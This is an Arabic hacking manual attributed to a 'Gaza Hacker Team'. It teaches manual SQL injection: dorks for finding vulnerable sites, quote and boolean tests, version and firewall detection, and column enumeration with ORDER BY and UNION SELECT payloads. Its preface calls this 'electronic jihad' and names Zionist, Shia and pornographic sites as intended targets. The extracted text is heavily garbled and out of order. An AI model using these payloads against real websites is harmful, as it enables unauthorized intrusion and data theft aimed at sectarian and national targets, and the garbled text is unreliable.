Professional Documents
Culture Documents
التعتيم الكامل 2017
التعتيم الكامل 2017
الكتاب
Gaza Hacker Team present
ررخصة الكتاب
ررخصة الـ Full Blackout Techniques 2017
إجبار العمدة الرمصابة على الظهور بالصفحة عندما ل تظهر فى الحالة الطبيعية للحقن
الخالتمة
Gaza Hacker Team
present
Full Blackout
Techniques
2017
▂ ▃ ▄ ▅ ▆ ▇ █ ررخصة الكتاب █ ▇ ▆ ▅ ▄ ▃ ▂
تخضع رمحتويات الكتاب إلى رخصة المشاع البداعي وهي مجموعة من رخص تنظم استخدام حقوق المؤلف بالطرق التي
ل يجوز ممارستها من دون موافقة صاحب حق المؤلف ،توجد منها عدة تنويعات توضح الحقوق التي يحتفظ بها المؤلف
والحقوق التي يتنازل عنها للخرين ،مما ينتج عنه كون "بعض الحقوق محفوظة" عوضا على كون "جميع الحقوق محفوظة"
Full Blackout Techniques 2017 الررخصة الرمختارة للصدار
▂ ▃ ▄ ▅ ▆ ▇ █ ك مللممةة الل ل مله له م
ي ال لةعل لميا █ ▇ ▆ ▅ ▄ ▃ ▂
كومن ك مللممةة الل لمله لهمي ال لةعل لميا مفةهمو لفي مسلبيلل الل لمله " ☆¸☆*•.
عل مي لله مومسل لممم " :مملن مقاتممل للتم ة
☆*• ☆¸.مقامل مرةسوةل الل لمله مص لملى الل لمةه م
لذا رقمنا بعون اللله تعالي وفضله وبركاته بتأليف هذا الصدار الجديد والرمتقللدم من تقنيات علم حقن قواعد البيانات الرمتقللدمة والفريده
من نولعها وتقديمها لخيرة شباب العرب والرمسلمين بكافة أرجاء المعمورة لتكومن لرهم درعا ل رادعا م وسيفا ل قاطعا ل في ساحة الجهاد
اللكتروني العالمي للتكون ك مللممةة الل لمله لهمي ال لةعل لميا فوق ركل عدلوا ل مس لموملت له نفسره وأراد بموقلعه اللكتروني حاللما ل أن يجعمل كلمة اللله هي
الرسفلى وحاشى للله أن تكون كذلك لذا فسوف نكسرهر ونجعلره من ال لأ ممذلليمن .
إلى روح أبـي العزيز :حسن المليجي
نرجو لمن ر
كم ال ل ردعاء الخالص لره من قلوربكم الطيبة
☆╚╦◘• منهج العمل بهذا الصدار •◘╚╦☆
- 1جميع الروابط الرمستخدمة بالكتاب الخاصة بالمواقع الرمقدم عليه الشروحات ليست حقيقية بمعني أنها ليست بمواقع حيه بل
هي مواقع إفتراضية من نسج خيالنا ,بالضافة أنها في بعض المسائل قد رصممت خصيصا ل لها ,وإليكم مثال على أحد المواقع
الفتراضية الرمستخدمة بالكتاب والذي كان إسمي الحركي الثاني أساسا ل لها || || www.InjectorBoy.md/news.php?id=58
- 2يبدأ الكتاب تدريجيا ل من بدايته بعرض تقنيات المجال العامة السابق شرحها بالصدار السابق لكن مع بعض التغير فى الرمحتوى
المعلوماتي ليكون الجميع بما فيهم الرمبتدئين على علم بما يجري وذلك كـ فصول رمستقلة رتمثل نفسها ,رثم نقوم بإلحاق أبواب داخل
هذه الفصول خاصة تشرح بعض مسائل التفاصيل الدقيقة الخاصة بالرمحتوى العام للمعلومات بالفصل والرمرتلبطة بها بصورة وثيقة .
- 3كافة الشروحات والتقنيات الرمقدمة بالكتاب ولضعت خصيصا ل للرمساعدة على إختراق المواقع الصهيونية والمواقع الجنسية
والمواقع الللشيعية الرمعادية لهل الرسنة والجماعة بصورة خاصة وعلى حدا سواء ول يجوز أبدا ل إستخدامها في غير ما رخصصت له .
- 4تم تفعيل خاصية النسخ Copyبرنسخة الـكتاب الـ pdfهذا ليسرهل عليكم نقل الستعلمات والتقنيات الجدبدة
كتلليب .
وإستخدامها خارج نطاق ورقات هذا ال ر
- 5تم العتماد حصريا ل داخل هذا الصدار الجديد من الكتاب على تقنيات وأساليب الحقن الرمتقللدم اليدوي فقط دون اللتفات بتاتا ل
للرطرق اللية ,للكولنها الكثر صرامة ودقة وتخطي فيما يافوق الـ % 90رمقالبل الطريقة اللية ذلك إن تم الرمقارنة ببنرهما .
قبل الشروع في هذا العمل الرمبارك بإذن الله تعالي أوللجه عناية حضراتكم
إلى سلسلة الدورات المبدئية الكاملة فى مجال حقن قواعد البيانات للرمختبري الختراق
بالصوت والصورة من تقديمي بقناتي على اليوتيوب .
www.youtube.com/playlist?list=PLBtrvQlrzs6qQg4b8ButEqfQriqks2BjN&disable_polymer=true
www.youtube.com/playlist?list=PLBtrvQlrzs6pUpwwfyY8jfjNlLdR4Adaw&disable_polymer=true
لفق تقنيات وأساليب حماية جديدة لقواعد لم يمر سوى عام تقريبا ل منرذ صدور الصدار الثانى من هذا الكتاب إل وقد ظهرت با ر
ر ر
البيانات والمعلومات ,وفي ذات الوقت وبصورة رموازية و بذات الوتيرة ظهرت أساليب وتقنيات رمختصة بالكسر ] الحمابة [ رمتميزة
وعالية في الرمستوى تواكب هذا التطور الكبير في هذا المجال مجال الحماية المعلوماتية ,لذا ولجب علينا رممسميرلتها وتقديمها إليكم
أي هذه التقنيات الرمتقدمة الجدبدة كافة على طبق من رزم ل ررد يليق لب ر
كم ,لذا ولبهذا الصدد تم تكليفي من طرف
فريق قراصنة غزة كالرمعتاد من رأناس يحبون التطور والتحدي ومواكبة العصر للعمل على تقديم الصدار الرمتطور الثالث
في هذا المجال مجال الـ . SQL Injection
قال الشيخ محمد الغزالي :إذا كلف النسان بعمل فإن إنجاز هذا العمل علي أفضل وجه يعد فرض عين وجب ول يجوز له أن يتراخي
فيه أو يفرط .
لذا فإننا قد أخذنا بهذا التكليف الرمبارك ووضعناهر على عالتقنا نحرن بلك روز ] أحمد المليجي[ ,
وإننا كافريق عربي كبير نلعدركم بالعمل ليل نهار لتقديم أفضل مالدينا ل ل ممتنا العربية والسلمية بمشيئة الله تعالى ,
كم ألخر إصدارلتنا
ومن رمنطلق هذه المسؤلية ولحرلصنا على نشر اللعلم وتطويره فإنره يرس ل ررنا وريشلمررفنا أن نقدم ل ر
وفخر هاكرز قطاع غزة الب لمية الصدار الثالث من !
BlackRoseقائد الــ ☆*• ☆*•.¸☆ GHI ☆¸.فريق تطوير مجال علم حقن قواعد البيانات الرمتقللدمة
] الثغرة رقم واحد بالعالم حاليا ل بل رمنالزع [ على رمستوى ال ر ل ممتين العربية والسلمية التابع لفريق قراصنة غزة . GHT
السلم علي ر
كم ورحمة اللله
ت أن أبدأ كتابي
ت بسم الله فأول ما جرى به القلم في اللوح المحفوظ بسم الله الرحمن الرحيم لذا أحبب ر بدايتي مع ر
كم بداية خير فرقل ر
حسنى ،ويرد به في التشهد وفي السلم على المسلم لبمعنى الدعاء له ت السلم علي ر
كم فهو اسم من أسماء الله تعالى ال ر بها ,ثم ألقي ر
ر ر
بالحفظ والعناية ،وأن يسلمه الله من كل الفات ,لذا فأللني أشلهرد اللله إني أحب ر
كم فيه .
بادئ ذي بدء سوف رنناقش لع لمدة مبادئ أساسية من باب الولويات الرقصوى وذلك قبل الخوض في لخضم هذا المجال الواسع
والرمتشلعب مجال إختبار إختراق ثغرات حقن قوالعد البيانات ,تشمل هذه المبادئ رطرق تحصيل المواقع الرمصابة عن طريق
إستخدام رمحرك البحث جوجال ,رطرق الكشف عن وجود الثغرة بالمواقع الرمحتمل إصابتها ,رطرق الكشف عن إصدارات قواعد
البيانات الثلثة , V1,V2,V3و أخيرا ل رطرق الكشف عن وجود الحمايات بالموالقع الرمصابة والسيرفرات ,ث رلمم يلي ذلك فصل
فرعي يتم شرح أساسيات حقن الرمتغيرات فيه ,وبه نكون قد غطينا جانبا ل كبير من المبادئ الساضرورية ]الساسية الضرورية[
التي يحتاجها الرمختملبر العربي .
▂▃▄▅▆▇█ █▇▆▅▄▃▂
•◘╚╦☆ الباب الول :تحصيل المواقع الرمصابة ☆╚╦◘•
رأسلوب البحث الشامل لستكشاف المواقع المصابة بثغرات الحقن ,رقمت بشرح هذا ا ر
لسلوب بالصدار الثاني السابق لذا فل دير من ر
تكرار ذلك رهنا مرة رأخرى ,يتم البحث عن المواقع الرمصاب بإستخدام قيم رتس لممى الدوركات رمتضللمنة البيانات المطلوب البحث عنها
بالستعانة برمحرك البحث جوجال ,لذا الدورك ريمكن تعريرفة بأنة إستعلم رمركب للبحث عن رمخصص بمحركات البحث
,ويتكون الدورك من أربعة مقاطع :
" " " inurl :. " dorks " / " domain" / " site
☆¸ ☆*•.المقطع الول inurlالبحث داخل رمحدد :يعني البحث داخل قيم يتم تحديدها رمسبقا ل مثل ☆*•☆¸.
الدورك يعني الرمتغير والرمتغير عبارة عن حاويات لحفظ البيانات ورتم ل مثل بمتطقة بذاكرة الحاسب لتخزين رمعطيات مؤقتة .
=book.php?id
=event.php?id
=news.php?id
=categorie.php?id
=category.php?CID
=Details.php?id
ملحوظة :يتكون الدورك من عدة مقاطع منها ما يتكون من مقطع واحد ومنها ما يتكون من مقطعين ومنها ما يتكون من ثلث مقاطع
ومثال على ذلك .
Google Dork string Column-1 Google Dork string Column-2 Google Dork string Column-3
=item_id =review.php?id =hosting_info.php?id
مثال لل ل متوضيح
الـ domainتعني رهنا نوع إمتداد ] تخص ل رص [ الموقع هل هو موقع حكومي أم موقع تعليمي أم موقع عام الخ .
. يمكننا البحث داخل نطاقات بلدان رمعنية دون غيرها بالتخص ل رص وذلك بوضع القيمة التي ترموز إلى الدولة أو ما ريسمى رمفتاح الدولة
AD (Andorra)
AE (UAE)
AF (Afghanistan)
AG (Antigua and Barbuda)
AI (Anguilla)
AL (Albania)
AM (Armenia)
AN (Netherlands)
AO (Angola)
AQ (Antarctica)
AR (Argentina)
ARPA (Arpanet)
AS (American Samoa)
AT (Austria)
AU (Australia)
AW (Aruba)
AZ (Azerbaijan)
BA (Bosnia and Herzegovina)
BB (Barbados)
BD (Bangladesh)
BE (Belgium)
BF (Burkina Faso)
BG (Bulgaria)
BH (Bahrain)
BI (Burundi)
BJ (Benin)
BM (Bermuda)
BN (Brunei Darussalam)
BO (Bolivia)
BR (Brazil)
BS (Bahamas)
BT (Bhutan)
BV (Bouvet Island)
BW (Botswana)
BY (Belarus)
BZ (Belize)
CA (Canada)
CC (Cocos)
CF (Central African Republic)
CG (Congo)
CH (Switzerland)
CI (Cote D'Ivoire))
CK ( Islands)
CL (Chile)
CM (Cameroon)
CN (China)
CO (Colombia)
COM (US Commercial)
CR (Costa Rica)
CS (Czechoslovakia)
CU (Cuba)
CV (Cape Verde)
CX (Christmas Island)
CY (Cyprus)
CZ (Czech Republic)
DE (Germany)
DJ (Djibouti)
DK (Denmark)
DM (Dominica)
DO (Dominican Republic)
DZ (Algeria)
EC (Ecuador)
EDU (US Educational)
EE (Estonia)
EG (Egypt)
EH (Western Sahara)
ER (Eritrea)
ES (Spain)
ET (Ethiopia)
FI (Finland)
FJ (Fiji)
FK (Falkland)
FM (Micronesia)
FO (Faroe Islands)
FR (France)
FX (France)
GA (Gabon)
GB (Great Britain)
GD (Grenada)
GE (Georgia)
GF (French Guiana)
GH (Ghana)
GI (Gibraltar)
GL (Greenland (Island))
GM (Gambia)
GN (Guinea)
GOV (Government)
GP (Guadeloupe)
GQ (Equatorial Guinea)
GR (Greece)
GS (S.Georgia and S.Sandwich Isls.)
GT (Guatemala)
GU (Guam)
GW (Guinea-Bissau)
GY (Guyana)
HK (Hong Kong)
HM (Heard and McDonald Islands)
HN (Honduras)
HR (Croatia)
HT (Haiti)
HU (Hungary)
ID (Indonesia)
IE (Ireland)
IL (Israel)
IN (India)
INT (International)
IO (British Indian Ocean Territory)
IQ (Iraq)
IR (Iran)
IS (Iceland)
IT (Italy)
JM (Jamaica)
JO (Jordan)
JP (Japan)
KE (Kenya)
KG (Kyrgyzstan)
KH (Cambodia)
KI (Kiribati)
KM (Comoros)
KN (Saint Kitts and Nevis)
KP (Korea (North))
KR (Korea (South))
KW (Kuwait)
KY (Cayman Islands)
KZ (Kazakhstan)
LA (Laos)
LB (Lebanon)
LC (Saint Lucia)
LI (Liechtenstein)
LK (Sri Lanka)
LR (Liberia)
LS (Lesotho)
LT (Lithuania)
LU (Luxembourg)
LV (Latvia)
LY (Libya)
MA (Morocco)
MC (Monaco)
MD (Moldova)
MG (Madagascar)
MH (Marshall Islands)
MIL (Military)
MK (Macedonia)
ML (Mali)
MM (Myanmar)
MN (Mongolia)
MO (Macau)
MP (Northern Mariana Islands)
MQ (Martinique)
MR (Mauritania)
MS (Montserrat)
MT (Malta)
MU (Mauritius)
MV (Maldives)
MW (Malawi)
MX (Mexico)
MY (Malaysia)
MZ (Mozambique)
NA (Namibia)
NATO Nato field)
NC (New Caledonia)
NE (Niger)
NET (Network)
NF (Norfolk Island)
NG (Nigeria)
NI (Nicaragua)
NL (Netherlands)
NO (Norway)
NP (Nepal)
NR (Nauru)
NT (Neutral Zone)
NU (Niue)
NZ (New Zealand)
OM (Oman)
ORG (Organization)
PA (Panama)
PE (Peru)
PF (French Polynesia)
PG (Papua New Guinea)
PH (Philippines)
PK (Pakistan)
PL (Poland (Polsko))
PM (St. Pierre and Miquelon)
PN (Pitcairn)
PR (Puerto Rico)
PT (Portugal)
PW (Palau)
PY (Paraguay)
QA (Qatar)
RE (Reunion)
RO (Romania)
RU (Russian Federation)
RW (Rwanda)
SA (Saudi Arabia)
Sb (Solomon Islands)
SC (Seychelles)
SD (Sudan)
SE (Sweden)
SG (Singapore)
SH (St. Helena)
SI (Slovenia)
SJ (Svalbard and Jan Mayen Islands)
SK (Slovak Republic)
SL (Sierra Leone)
SM (San Marino)
SN (Senegal)
SO (Somalia)
SR (Suriname)
ST (Sao Tome and Principe)
SU (USSR)
SV (El Salvador)
SY (Syria)
SZ (Swaziland)
TC (Turks and Caicos Islands)
TD (Chad)
TF (French Southern Territories)
TG (Togo)
TH (Thailand)
TJ (Tajikistan)
TK (Tokelau)
TM (Turkmenistan)
TN (Tunisia)
TO (Tonga)
TP (East Timor)
TR (Turkey)
TT (Trinidad and Tobago)
TV (Tuvalu)
TW (Taiwan)
TZ (Tanzania)
UA (Ukraine)
UG (Uganda)
UK (United Kingdom)
UM (US Minor Outlying Islands)
US (United States(USA))
UY (Uruguay)
UZ (Uzbekistan)
VA (Vatican City State (Holy See))
VC (Saint Vincent and the Grenadines)
VE (Venezuela)
VG (Virgin Islands (British))
VI (Virgin Islands (USA)
VN (Viet Nam)
VU (Vanuatu)
WF (Wallis and Futuna Islands)
WS (Samoa)
YE (Yemen)
YT (Mayotte)
YU (Yugoslavia)
ZA (South Africa)
ZM (Zambia)
ZR (Zaire)
ZW (Zimbabwe)
يتم الكشف عن وجود ثغرات الحقن بصورة تقريبية عامة في ثلث رخطوات رمتن ل روعة ,وذلك على النحو التالي -
خطوة ا ر
لولى :إستخدام إشارة التنصيص الفردية كومة ال ر
عند رمحاولة إختبار وجود الثغره بهدف ما ,تسبق تفكيمرنا أيدينا إلى كتابة إشارة التنصيص الفردية كوممة Commaكونها تعودة
لخرى الرمتعارف عليها التي رتستخدم لذلك المر ,ل لمنها العامل القوى فيذلك منا كثيرا ل ,وذلك دون غيرها من الشارات والطرق ا ر
ر ر
هذا الباب ,إشارة التنصيص الفردية عبارة عن رمز ريعطي قيمة عادية بإستعمالة حال الختبار فتجعل من الستعلم خاطئ أو
بمعنى أدق تقوم بتعطيلره من الصل وجعرلة كإستعلم مركب بطريقة خاطئة ,لذا تقوم القاعدة على إثر ذلك المر بالسلتجابة و
جمل النصية التي تسمح بظهور الخطاء ,فرتستشف إمكانبة الصابة وإمكانية جواز التعاطي مع إعطاء رد بسبب تفعيل خاص لمية ال ر
الثغرة وإختبار إستغللها .
'testphp.vulnweb.com/listproducts.php?cat=1
خطوة الثانية :إستخدام الـ Boolean operatorsأو الرمعاملت المنطقية ورمقارنة النتائج •◘╚╦☆
☆╚╦◘• ال ر
خمدمما للفحص الروابط والرمتغيرات لبمنلطق الصواب والخطأ فتكون قيمة أحد الرمعاملين رمصاغمرة للصواب المعاملت المنطقية :رتست ل
لخرى للخط ,فالرمعاملت المنطقية Logical Operatorلبرلغة الـ SQLولجدت لتكون صيغة لربط بين تعبيرين منطقيين بسيطين وا ر
لتكوين جملة خبرية مركبة ,ومن المعاملت المنطقية المستخدمة في لغة SQLBASICالمعامل ANDوالمعامل ORحيث
الرمعامل ANDيعطي ناتجا صوابا ل إذا ما كان ك رل ل من التعبيرين المنطقيين البسيطين صوابا ل ويعطي ناتجا ل خطأ إذا ما كان ك رل ل من
التعبيرين المنطقيين البسيطين أو أحدهما خطأ ,والرمعامل ORيعطي ناتجا ل صوابا ل إذا كان أيا ل من التعبيرين المنطقيين البسيطين أو
كلهما صوابا ل ويعطي ناتجا ل خطأ إذا كان ك رل ل من التعبيرين المنطقيين البسيطين خطأ .
عب بهذه القيم وإضافة قيم ليست ضمن البنية التركيبية , دائما ل مايكون للرمتغير قيمة رقمية أو قيمة نصية فى بعض الحيان ,بالتل ر
سوف يعمل ذلك على خلخلت البيئة الخاصة بالرمتغير والرمسجل قيمتة رمسبقا ة بالسيرفر أو قاعدة البيانات بالموقع داخل السيرفر
جمل ,لذا رتستخدم الحروف البجدية النجليزية ضمن عمليات الستعلم لخلق واقع رمغاير لما هو علية وذلك إذا كانت خاص لمية ال ر
النصية بالموقع رمفعلة سوف بظهر خطاء نصي بالصفحة وإذا لم رتف لمعل الخصية سوف يظهر إختلف ببنية الصفحة العامة ,هذا و إن
ظهرخطأ ليس موجود أو not foundسوف يعني ذلك أنره ليس رمصاب .
testphp.vulnweb.com/listproducts.php?cat=1a
☆╚╦◘• الباب الثالث :الكشف عن إصدار قاعدة البيانات •◘╚╦☆
يقع دائما ل رمختبري حقن القواعد في العديد من المشاكل في بداية الختبارات من أهمها ,عند الرنقطة الولى لختبار الثغرة يعتقد أن
رمجمل عملية الحقن أمر في غاية الصعوبة أو الستحالة ,وهذا ك رل لمره خطأ الرمختلبر من البداية ,لكون إصدار قاعدة البيانات للموقع
الرمصاب الذي يعمل علية الصدار الرابع من قواعد البيانات والتي ل تعمل ضمنها الـ information schemaول يدرى اللمسكين
ذلك كونة لم ريحاول قبل شروعه في العملية بخطوات بسيطة معرفة قيمة الصدار ,فريحاول جالهل ل إتمام عملية الحقن بإستخدام
إستعلمات الصدار الخامس الخاصة بعمليات سحب البيانات الحساسة بها ,وهذا من ا ر
لمور الرمستحيلة طبعا ل ,فيعجز ويتررك
الهدف لحال سبيرلة ,لذا توجب على الرمختبر إتباع الخطواط الولية لعمليات إختبار الحقن التي نقوم بشرحها من بداية هذا الفصل
وعلى رأسها معرفة قيمة إصدار قاعدة البيانات لذا فلنبدأ .
بالمثال السابق كما لحظرتم ظهرت صفحات بيضاء أي قيم فارغة أو خاطئة عند الختبار رقم ] [1ورقم ][2
لكن عند الختبار رقم ] [3قامت الصفحة بالتحميل بصورة طبيعية ,مما دل على أن قيمة إصدار قاعدة البيانات
ليس ل بالصدار الثالث ول بالصدار الرابع ,إنما الصدار الخامس من قاعدة البيانات .
☆╚╦◘• الباب الربع :الكشف عن وجود جدار حماية ناري ☆╦╚◘• WAF
يشير مصطلح “جدار الحماية” Firewallإلى “برنامج” Softwareأو “جهاز” Hardwareيتولى مهلمة فحص المعلومات الواردة من
الشبكة العنكبوتية أو الشبكات الخرى ،ويقوم بالسماح لها أو استبعادها استنالدا لعدادات جدار الحماية .
وكان أول ظهور لتكنولوجيا جدار الحماية عام 1988عندما قامت شركة المعدات الرقمية المريكية DECبإصدار “نظام تصفية”
Filtering Systemالمعروف باسم “مصلفي الحزم” ، Packet Filterوالذي كان يقوم بفحص الحزم الواردة من الشبكة
العنكبوتية أو الشبكات الخرى ،فإذا كانت الحزمة مطابقة لعدادات نظام التصفية فإن النظام يقوم باستبعادها أى أ لمن كل البيانات
الداخلة و الخارجة من و إلى ) كارت الشبكة -على مستوى الجهاز الواحد أو على مستوى الشبكة ( يجب أن تمر بالفايروول أول
قبل النتقال للطرف الخر و يكون التحكم في البيانات عن طريق استثنائها أو استئصالها من و إلى الشبكة و متطلبات الشبكة
و لمالتي يراها مدير الشبكة هي ا لملتي رتحللدد تلك القواعد .
بإستخدام الرمعاملت المنطقية الخاصة ريمكن معرفة إن كانت رهناك حماية رمنصبة بالمولقع من عدمها قبل الخوض في لخضم عملية
الحقن ,فبإستخدامها من الرمرجح رظهور خطأ خاص مثل فوربيدن أو نوت إكستبول بالصفحة يردل على وجود
الـ Firewallأو الجدار الناري إذا كان موجودا ل ,ول يظهر شئ أو يظهر خطأ نصي عادي أو رتحلمل الصفحة بصورة طبيعية في حال
عدم وجود الـ . Firewall
] [1بإستخدام هذا الستعلم نتوقع حدوث إعتراض في حالة تفعيل الحماية . or 1 = 1 1
] [2بإستخدام هذا الستعلم نتوقع حدوث إعتراض في حالة تفعيل الحماية أيضا ل . and 1 = 1 1
▂ ▃ ▄ ▅ ▆ ▇ █ ▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل
� الفصل الثاني :أساسيات حقن الرمتغير في قواعد البيانات �
أساسيات حقن الرمتغير في قواعد البيانات هي من بديهيات الحقن العام ,فل يجب على أحد أن يغفل عنها كونها من العوامل
الساسية فى نجاح أي إختبار حقن بصورة مبدئية ,وهي حسب تصنيفي لها أربعة أنواع وهذا ما يمكن تسميته بـ ' أنواع الحقن '
وهم على النحو التالي :
وهو حقن الروابط برقم متغير حر ' ويسمى الحقن العددي ' ويتم هذا الحقن بصورة عادية بترك رقم المتغير كما هو دون أي إدخال عليه
,كما بالمثال التالي :
هو حقن الروابط برقم متغير رمنصص ,بإستخدام علمة التنصيص الفردية كومة ' Commaويسمى الحقن النصي ' ويتم هذا الحقن
بإدخال علمة التنصيص الفردية كومة تالي رقم الرمتغير رمباشرلة كما بالمثال التالي .
هو حقن الروابط برقم متغير رمغلق ' ويسمى الحقن الرمغلق ' ويتم هذا الحقن بإدخال القوس الهللي الرمفرد ( علي رقم الرمتغير
رمباشرلة بدون أي فواصل بينرهما ,لكن لكي يتح لمقق هذا النوع من الحقن يجب تورفر الشرط التالي :
ث
] ظهور أخطاء كودية رمتولدة من قاعدة البيانات نتيجة إستخدام علمة التنصيص الفردية كومة كالخطاء الخمس التالية من حي ر
التشابة الشرطي [
[1] the right syntax to use near 'order by 1 -- -,2,5,8)' at line 1
[5] near '') ORDER BY dragSortOrder DESC, updatedDate DESC' at line 3
'http://www.InjectorBoy.GHT?id=1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near ''3'' LIMIT 1' at line 1
تحقق الشرط الثاني بالخطأ الناتج أعله وهو تكرار وجود إشارات الكومة commaبكثرة ضمن الخطأ ,لرنكمل عملية الحقن
1- http://www.InjectorBoy.GHT?id=1 order by 100-- -
بإضافة الكومة لم يحدث أي تغ ل ريرorder by 100 ' و الـorder by 100 بإسنخدام إستعلم الـ: رملحظات عملية الحقن السابقة
Strings Injection ول الـInteger Injection مما دل أن نوع الحقن ليس بالحقنين العاديين ل الـ, بتاتا ل بالصفحة
: وذلك على النحو التالي, Closures Injection بل سوف يكون الـ
الـ : Direct injection of the variable numberهو حقن قواعد البيانات برقم متغير حر بدون أدخال قيمة الستعلمـ union
حر الرمباشر حقن مشروط أيضا ل كما سبق بالحقن الثالث ,الخطأ الناتج
حر الرمباشر ' والحقن ال ر
selectعليه ' ويسمى الحقن ال ر
تاليا ل من إختبار الحقن الرمستنتج منره الشروط -
1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
'\for the right syntax to use near '\' AS name, subtitle_1\' AS sub, seoname_1\' AS seoname, template, content_1
A' at line 1
الرملحظات :نلحظ بالخطأ السابق تكرار الحرفين " " ASورمز الـ ' commasبكثره ,وهذا يردل على أن الحقن رهنا داخل الـ
" " selectوقبل الـ " , " fromلذا ل ريمكنا إستخدام رأسلوب الـ , union Basedفيكون الحقن الرمناسب هو رأسلوب الـ Direct
. Injection
www.InjectorBoy.GHT?id=1
- 2إختبار إمكانية الصابة بالثغرة بإستخدام علمة التنصيص الفردية كومة :
'http://www.InjectorBoy.GHT?id=1
: كلية للعمدة
إختبار الكشف على العداد ال د- 3
http://www.InjectorBoy.GHT?id=1,1
)(http://www.InjectorBoy.GHT?id=1,version
▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل █ ▇ ▆ ▅ ▄ ▃ ▂
� الفصل الثالث :رأسلوب الحقن النمطي ورملحقات رره �
هذا النوع من الحقن أي الحقن النمطي والذي أعني به الحقن العام أو العادي والمعروف لدى الرمبتدإ قبل الرمحترف ,فهو من
رمس لملمات العمل فل يصرعب على أحد لفهمرمره أو اللمام به كونره أساس ركل شئ ,لذا سوف أقوم بوضع شرح تص ل روري لره بصورة كاملة
التفاصيل ] والكمال لله وحدهر [ حتى نكون على الضرب الصحيح والكائن فى معرفة أساسيات الساسيات البلدهية .
- 1أول ل :فالنبدأ العمل بالكشف عن إمكانية الصابة بالثغرة وقد تم شرح هذا المر بالتفصيل بالفصل الول ,وذلك بإستخدام علمة
التنصيص الفردية كومة وإضافتها بعد رقم الرمتغير بصور مةر مباشرةر على النحو التالي :
'www.InjectorBoy.GHT?id=1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
''for the right syntax to use near ''3
الناتج الرمتوقع بالصفحة :أول ل هذا يختلف من موقع لخر فقد ل يظهر مثل الخطأ أعله بل من الرممكن أن يحردث تغ ل رير فى تركيب
بنية الصفحة من إختفاء لنصوص ما أو رموز أو حتى صور الخ ,وهذا ك رل لمره إن دل فإنره يردل على أن النتيجة الخاصة بهذا الموقع
إيجابية أي رمصاب وهذه هي المرحلة الولى من الحقن تم التأركد من الصابة ,لننتقل للمرحلة التالية .
كلي للعمدة :ويتم ذلك بعدة رأمور من أسهلها إستخدام الستعلم ORDER BYوإلحاق هذا الستعلم
- 2الكشف عن العدد ال ر
برقم البدأ من أعلى قيمة وهو الرقم مائة رثم النزول إلى أقل قيمة وهو الرقم واحد تنارزليا ل .
قبل إكمال عملية الحقن بالنتقال إلى الخطوة التالية سوف أقوم بالباب التالي بشرح كافة رطرق وأساليب تحصيل العداد ال ر
كلية
للعمدة من باب الوملوية الزمنية Priority Timeبهذا الفصل .
☆*• ☆¸.الباب الثاني :أساليب تحصيل العداد الك رمللية للعلمدة ☆¸☆*•.
فى هذا الباب الرملحق سوف نتحدث بشيئ من الستفاضة والتفصيل عن عدد ل بأس به من التفنيات المشهورة لتحصيل القيمة
الحقيقية للأعداد الك رمللية للعمدة بقاعدة البيانات ,وسوف أقوم بتقسيم هذا الباب إلى سبعة فصول على النحو التالي :
-7الفصل السابع :تحصيل أعداد العمد بالـ Error Basedبتخمين الجدول الرئيسي .
☆*• ☆¸.الفصل الول :الستعلم التقليدى Order+Byأو ☆*•.¸☆ Group By
هذا الستعلم من بممده لميات حقن قواعد البيانات ويعلرلفمره الجميع لبل إستثناء حي ر
ث إنره أحد المبادئ الساسية التى تعلمناها عند بدء
الممسير فى هذا المجال ,ويكون المر -أي طريقة الستخدام -بإضافة هذا الستعلم - Order+By-بعد قيمة الرمتغللير رمضاف إلية
القيمة الرقمية الرمحتمملة الرقصوى ,وأقرصد بذلك الرقم لمائة ث رمم ريق لمرب بصورة أبسط حتى نصل للرقم الدنى ,وأقرصد بذلك الرقم والحد
على هذا النحو :
. كما نرى بالصورة أعله مما دل على أن عدد العمدة لهذا الموقع هم إحدى عشر عمودا ل11 لم يحردث أي خطأ عند تجربة الرقم
☆*• ☆¸.الفصل الثاني :الستعلمات الرملحقة الرئيسية ☆*•.¸☆ Union By Linked
وهذه الستعلمات الرمدمجة رتعطي نتيجة رمرضية جدا ل حيث إنها ثمبت تخطيها للعديد من الحمايات ,وهي قائمة من حي ر
ث
التركيب التأسيسي على الدمج بين الستعلم الرئيسيي union selectوبين الستعلم الترتيبي Order+Byأو . Group By
الـ : unionعلقة تربط بين مجموعتين لرهما نفس الحقول ونفس الخصائص .
الـ : selectلنتقاء بعض العناصر /السرطر Rowsمن مجموعة رمعينة,جرد البيانات أى جلبها من الجداول .
والتي تعني رمنتهي بالشارة ` أول ل :نبدأ بلكتابة بالستعلم group+by+100ثم يالي ذلك إضافة الستعلم union+select+1
back quoteأو backtickومكانها بلوحة المفاتيح الزر الرمجاور لزر الرقم واحد أسفل مفتاح الـ F1كما هو موضح بالصورة التالية
+group+by+100+union+select+1` -- -
السلوك الوافي -أي إفتراض حدوث خطأ نتيجة التتاربع الرقمي -نستطيع المتن ل ربئ به عن طريق تحصيل العداد الك رمللية للعلمدة
بإستخدام الستعلم التقليدى Order+Byأو Group Byبصورة رمتتابعة أو رمتتالية فى الترقيم وذلك بإضافة رقم عددي واحد كل مرة
كلي للعمدة داخل قاعدة البيانات بصورة رمتتالية على هذا النحو : لستكشاف العدد الصحيح ال ر
تم تحصيل خطأ عند التتاربع من الرقم واحد إلى الرقم ستة ,والذي يعني أن العدد ستة من العمدة ليس موجود ,مما دل على أن
العدد الصحيح للعمد هو العدد خمسة أي أ لمن العدد الذي يكون عندهر الخطأ يكون العدد القل منره هو العدد الصحيح للقيمة ال ر
كلية
للعمدة .
☆*• ☆¸.الفصل الرابع :الستعلم التوجيهي ☆*•.¸☆ Routed Query
الستعلم التوجيهى Routed SQLI Queryهو مسألة تكرارية رمتعددة للعداد التحصيلية للعمدة .
لنفترض وجود رمشكلة لدينا :وهي عدم وجود أية إستجابة من قاعدة البيانات عند إستخدام الستعلم التقليدى Order+By
أو Group Byعند الرقم مائة سواء مع الحقن العددي أو الحقن النصي ,لذا عادة يكون الحل الرم ل متبع رهنا هو إستخدام تقينية
كلي للعمدة من بعدها وذلك على النحو التالي : الستعلم التوجيهى لتحصيل خطأ عند الرقم مائة لستكمال البحث عن العدد ال ر
المسألة التوجيهية
على النجو ال ر
كلي التالي :
[1] www.InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100 -- -
